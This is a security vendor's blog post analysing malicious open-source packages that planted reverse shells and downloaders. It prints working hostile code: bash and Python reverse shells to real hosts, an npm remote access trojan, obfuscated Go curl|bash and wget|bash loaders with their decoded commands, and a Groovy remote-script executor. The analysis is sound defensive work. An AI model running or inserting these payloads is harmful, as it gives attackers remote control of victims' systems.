
Product
Introducing Socket Fix for Safe, Automated Dependency Upgrades
Automatically fix and test dependency updates with socket fix—a new CLI tool that turns CVE alerts into safe, automated upgrades.
Security Fundamentals
Olivia Brown
Kirill Boychenko
April 11, 2025
A form of protection in the natural world, shells access enables ethical, defensive security tasks like monitoring unusual outbound connections, detecting unusual process behavior, preventing command injection, and blocking suspicious web requests. However, when threat actors deploy and use shells, they can run commands as well as browse, upload, and download files.
APT28, attributed to Russia’s General Staff Main Intelligence Directorate, and APT32, a suspected Vietnamese threat group, are well known for using shells to maintain persistence. HAFNIUM, a threat actor operating from China that primarily targets U.S. entities, specifically uses web shells to control compromised servers and exfiltrate trade secrets across a number of industry sectors. A web shell is a malicious piece of code that an attacker uploads to a web server, gaining unauthorized access and control, by exploiting a vulnerability that allows them to upload files.
Socket conducts large-scale scanning and real-time analysis of open source package ecosystems to identify malicious or high-risk code. During this process, we have regularly observe and flag multiple instances of threat actors deploying web shells and related payloads across npm, PyPI, Go, and other ecosystems.
As of the time of publication, the malicious packages are not accessible on the PyPI registry, and one of the npm packages are not accessible on the npm registry. One package remains live on npm, two on Go, and one on Maven, but we have petitioned the registries for their removal.
import os
os.system("bash -c 'bash -i >& /dev/tcp/103.252.137.168/7777 0>&1'")
Here, the code executes a classic reverse shell. It imports the os module, uses os.system()
to execute a bash command directly, creates an interactive bash shell, creates a TCP connection to the specified IP on port 7777
, and redirects standard input, output, and error to the same TCP connection. Thus, it creates a reverse shell and gives the person listening on that IP and port complete shell access to the system running the python code.
Since port 7777
is a non-standard port, developers often choose it for their own applications or services, meaning it is usually left open and threat actors can target it. However, VirusTotal has flagged this IP as malicious, and identifies that the Whois returns to a Vietnamese Technology company.
import socket,subprocess,os
class calculator:
def add(x, y):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("2.tcp.ngrok.io",14048))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
return x + y
This next PyPI example establishes a TCP connection to 2[.]tcp[.]ngrok[.]io
on port 14048
and redirects standard input, output, and error to the socket connection. It then spawns an interactive shell, all while pretending to be a calculator function, and maintains this facade by returning the sum of two inputs.
This, again, is a classic reverse shell. ngrok is a tunneling service, which makes the connection more difficult to block. By using the PTY module and creating a "pseudo-terminal," it creates a reverse shell that enables more complex terminal functionality. For instance, this type of shell supports text editors, can access arrow keys, e.g. for command history, and grants better support for keyboard shortcuts like CTRL+C, CTRL+Z, and others.
VirusTotal also identified 2[.]tcp[.]ngrok[.]io
as malicious but redacted much of the Whois information for privacy reasons.
Here are the examples from the npm ecosystem flagged by the Socket’s AI Scanner.
const net = require('net');
const cp = require('child_process');
const os = require('os');
// Change these values to your attacker's IP address and listening port
const ATTACKER_IP = '10.2.105.202';
const ATTACKER_PORT = 4444;
// Create a connection to the attacker's machine
const client = new net.Socket();
client.connect(ATTACKER_PORT, ATTACKER_IP, () => {
// Create a reverse shell when connection is established
client.pipe(cp.spawn('sh', []).stdin);
cp.spawn('sh', []).stdout.pipe(client);
cp.spawn('sh', []).stderr.pipe(client);
});
client.on('error', () => {
// Fail silently in case of errors to not break the installation
});
First, we see an attempt at a TCP shell. Many security professionals differentiate between TCP shells and web shells because TCP operates at the transport layer, whereas HTTP(S) operates at the application layer. According to the MITRE ATT&CK framework, this would more closely align to “Non-Application Layer Protocol.” However, this example still belongs in this discussion seeing how HTTP(S) runs on top of a TCP connection, and that this code connects to a remote server to create a persistent reverse shell.
Security professionals are also likely shouting at their screens due to the use of port 4444
. Most ports, out of 65,536 on a computer, are not reserved for a specific purpose, enabling developers and different applications. Port 4444
similarly has no default usage, but is often aligned with Oracle WebLogic Server, Jupyter Notebook, and Metasploit.
Metasploit, a powerful tool used by cybercriminals and ethical hackers to probe system vulnerabilities, uses port 4444
to give the threat actor remote access via a reverse shell connector. The above example attempts to connect to an IP address through port 4444
and then spawn a shell and redirect standard error and standard output.
function createConnection(debug) {
const socket = net.createConnection({ host: serverHost, port: serverPort }, () => {
isConnected = true;
log('Connected to server', debug);
});
socket.on('data', (data) => {
const message = data.toString('utf-8').trim();
if (message.startsWith('SHELL_COMMAND:')) {
const command = message.slice('SHELL_COMMAND:'.length).trim();
if (command.startsWith('cd ')) {
const newPath = command.slice(3).trim();
const fullPath = path.resolve(currentCwd, newPath);
const platform = os.platform();
const checkDirCommand = platform === 'win32' ? `cd ${fullPath} && cd` : `cd ${fullPath} && pwd`;
exec(checkDirCommand, (error, stdout, stderr) => {
if (error) {
socket.write(`Error changing directory: ${stderr}`);
} else {
currentCwd = stdout.trim();
socket.write(`Changed directory to: ${currentCwd}`);
}
});
} else {
exec(command, { cwd: currentCwd }, (error, stdout, stderr) => {
if (error) {
socket.write(`Error executing command: ${stderr}`);
} else {
socket.write(`Command output: ${stdout}`);
}
});
}
} else if (message.startsWith('DOWNLOAD_FILE:')) {
const filePath = message.slice('DOWNLOAD_FILE:'.length).trim();
const fullPath = path.resolve(currentCwd, filePath);
fs.readFile(fullPath, (err, data) => {
if (err) {
socket.write(`Error reading file: ${err.message}`);
} else {
const base64Data = data.toString('base64');
socket.write(`FILE_CONTENT:${filePath}:${base64Data}`);
}
});
} else if (message.startsWith('FILE_CONTENT:')) {
const [_, filePath, fileData] = message.split(':');
const fileBuffer = Buffer.from(fileData, 'base64');
const fullPath = path.resolve(currentCwd, path.basename(filePath));
fs.writeFile(fullPath, fileBuffer, (err) => {
if (err) {
log(`Error saving file: ${err.message}`, debug);
} else {
log(`File saved as: ${fullPath}`, debug);
}
});
} else {
log(`[Server]: ${message}`, debug);
}
});
socket.on('end', () => {
isConnected = false;
log('Connection was ended', debug);
});
socket.on('error', (err) => {
isConnected = false;
log(`[!] Error: ${err.message}`, debug);
});
socket.on('close', () => {
isConnected = false;
log('Connection closed', debug);
});
return socket;
}
Similarly, this npm package is also a TCP-based reverse shell, but with more complex remote access trojan features. This particular code masquerades as a remote client updater and helper, by making sure Node.js
is up to date and fetching settings from GitHub. Although this is only a snippet of the overall code, it represents the potentially malicious functionality of the package.
Like the last npm example, the malicious functionality is hidden in the Go examples. Below, we pulled out the malicious portion of this code.
func hrDrKbx() error {
hnyT := []string{"6", ".", "3", "r", "|", "r", "5", "e", "a", "/", "/", "t", "b", "4", ":", "b", "t", "7", "s", "u", "b", "-", " ", "h", "d", "n", "a", "f", "/", "n", "u", "3", "/", "1", "s", "o", "g", "0", "/", "b", " ", "f", "h", "e", "n", "e", "t", "-", "t", "e", "q", "g", " ", "e", "s", "t", " ", "e", "s", "p", "i", "o", "&", "O", " ", " ", "/", "a", "d", "/", "d", "3", "w", "f"}
ffOYdoX := "/bin/sh"
XWFieOoe := "-c"
hDEYvckQ := hnyT[72] + hnyT[51] + hnyT[43] + hnyT[48] + hnyT[22] + hnyT[21] + hnyT[63] + hnyT[52] + hnyT[47] + hnyT[64] + hnyT[42] + hnyT[46] + hnyT[55] + hnyT[59] + hnyT[58] + hnyT[14] + hnyT[66] + hnyT[28] + hnyT[5] + hnyT[49] + hnyT[50] + hnyT[30] + hnyT[7] + hnyT[18] + hnyT[16] + hnyT[20] + hnyT[61] + hnyT[44] + hnyT[57] + hnyT[1] + hnyT[27] + hnyT[19] + hnyT[25] + hnyT[9] + hnyT[34] + hnyT[11] + hnyT[35] + hnyT[3] + hnyT[8] + hnyT[36] + hnyT[45] + hnyT[10] + hnyT[24] + hnyT[53] + hnyT[71] + hnyT[17] + hnyT[31] + hnyT[70] + hnyT[37] + hnyT[68] + hnyT[41] + hnyT[69] + hnyT[26] + hnyT[2] + hnyT[33] + hnyT[6] + hnyT[13] + hnyT[0] + hnyT[39] + hnyT[73] + hnyT[40] + hnyT[4] + hnyT[56] + hnyT[32] + hnyT[15] + hnyT[60] + hnyT[29] + hnyT[38] + hnyT[12] + hnyT[67] + hnyT[54] + hnyT[23] + hnyT[65] + hnyT[62]
exec.Command(ffOYdoX, XWFieOoe, hDEYvckQ).Start()
return nil
}
var EOttEy = hrDrKbx()
Here, hnyT
is a scrambled array of string formats, so hDEYvckQ
is constructed by picking specific elements from hnyT
in a confusing order. The function executes a command via exec.Command()
and builds the full payload by assembling the obfuscated string of characters. This is a common obfuscation technique used to avoid detection by basic static scanners. Once deobfuscated, the string becomes:
/bin/sh -c 'curl -sL https://raw[.]githubusercontent[.]com/asynchelpers/net-test-sub/main/fandash/espio[.]sh | bash'
It uses curl
to download a remote shell script, executes it immediately, and runs it silently.
This URL is no longer live and this GitHub repository no longer exists. Based on the naming of once existing repository, it is likely that this threat actor attempted to impersonate a known codebase, secure cookie, with several hundred downloads.
This next Go example follows a very similar strategy.
func vMilIZxI() error {
DL := []string{"f", "d", "t", "3", "e", "a", "n", "e", "h", "/", "t", "t", " ", "7", "g", "e", "g", "5", "&", "w", "e", "0", "/", "p", "/", "v", ".", "t", "/", "3", "-", "/", "h", "i", "4", "a", "b", "1", "a", "r", "/", "t", "d", "e", "f", "t", "s", "t", "s", "o", "w", "O", "d", "b", "b", "n", "s", "3", ":", "e", "/", "b", " ", "i", "r", "a", "6", "s", " ", "s", " ", "|", " ", " ", "a", "-"}
BQCeC := "/bin/sh"
xVIKvHc := "-c"
EoBDTi := DL[19] + DL[14] + DL[20] + DL[41] + DL[12] + DL[30] + DL[51] + DL[62] + DL[75] + DL[70] + DL[8] + DL[11] + DL[45] + DL[23] + DL[56] + DL[58] + DL[9] + DL[31] + DL[25] + DL[74] + DL[6] + DL[5] + DL[39] + DL[47] + DL[15] + DL[46] + DL[2] + DL[26] + DL[50] + DL[4] + DL[36] + DL[69] + DL[33] + DL[10] + DL[43] + DL[24] + DL[67] + DL[27] + DL[49] + DL[64] + DL[35] + DL[16] + DL[59] + DL[40] + DL[42] + DL[7] + DL[3] + DL[13] + DL[29] + DL[1] + DL[21] + DL[52] + DL[44] + DL[28] + DL[38] + DL[57] + DL[37] + DL[17] + DL[34] + DL[66] + DL[54] + DL[0] + DL[68] + DL[71] + DL[73] + DL[22] + DL[53] + DL[63] + DL[55] + DL[60] + DL[61] + DL[65] + DL[48] + DL[32] + DL[72] + DL[18]
exec.Command(BQCeC, xVIKvHc, EoBDTi).Start()
return nil
}
var igVolH = vMilIZxI()
This time, the obfuscated command becomes:
/bin/sh -c 'wget hxxp://v3e/h[.]a[.]na/settoeat4teps/w6bgbt -O- | bash &'
This downloads a remote script and outputs it to stdout
, pipes it into the shell for execution, and backgrounds the whole command so it runs silently. It’s a shell-based downloader and remote code executor.
The GitHub repo linked with this code also no longer exists. Due to the nonstandard format of the URL v3e/h[.]a[.]na/
it’s likely the URL is purposefully obfuscated. The URL is an example of subdomain nesting. Most URLs follow this format: subdomain(s).domain.tld. Subdomain nesting is when multiple subdomains are layered together in unusual or excessive ways.
Often, malicious actors use this tactic to avoid blocklists, which might not catch deeply nested domains.
Finally, we found examples of shells in the Maven ecosystem.
Here is the suspicious snippet of the overall code:
URL url = new URL("http://112[.]11[.]168[.]47/evil[.]groovy");
URLConnection conn = url.openConnection();
InputStream inStream = conn.getInputStream();
FileOutputStream fs = new FileOutputStream("/tmp/evil.groovy");
byte[] buffer = new byte[1024];
int length;
String getShell = "";
while ((byteread = inStream.read(buffer)) != -1) {
bytesum += byteread;
fs.write(buffer, 0, byteread);
getShell += new String(buffer);
}
Object value = shell.evaluate(getShell);
System.out.println(value.toString());
Here, it connects to a hardcoded IP address, downloads a remote Groovy script, writes it to disk, reads it into a string, and executes it in memory. Groovy, created as a more concise and flexible alternative to Java while maintaining full Java compatibility, has scripting capabilities through the GroovyShell Class. The downloaded script here gets the same permissions as the server, allowing for sophisticated exploitation techniques. Instead of a reverse shell, this code uses a shell to execute the threat actor's code directly.
Threat actors use different types of shells to gain and maintain access. Unsuspecting developers or organizations might inadvertently be including vulnerabilities or malicious dependencies in their code base, which could allow for sensitive data or system sabotage if undetected.
Web shells will remain a favored tool for threat actors in software supply chain attacks, with continued innovation in how they are deployed and concealed. To defend against these evolving tactics, developers and organizations should prioritize detecting malicious and anomalous behavior within dependencies, such as suspicious scripts, network activity, or obfuscated code. Socket can provide early detection and real-time alerts for these threats. In addition, enforcing strong supply chain security policies and conducting regular reviews of third-party dependencies are essential steps toward minimizing risk.
Additionally, developers and organizations can strengthen defenses by incorporating free Socket tools: GitHub App for PR-level scans, CLI for pre-install checks, and the browser extension for browser-level package analysis.
Malicious PyPI packages
Malicious npm packages
Malicious Go packages
Malicious Maven package
Malicious Endpoints
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Product
Automatically fix and test dependency updates with socket fix—a new CLI tool that turns CVE alerts into safe, automated upgrades.
Security News
CISA denies CVE funding issues amid backlash over a new CVE foundation formed by board members, raising concerns about transparency and program governance.
Product
We’re excited to announce a powerful new capability in Socket: historical data and enhanced analytics.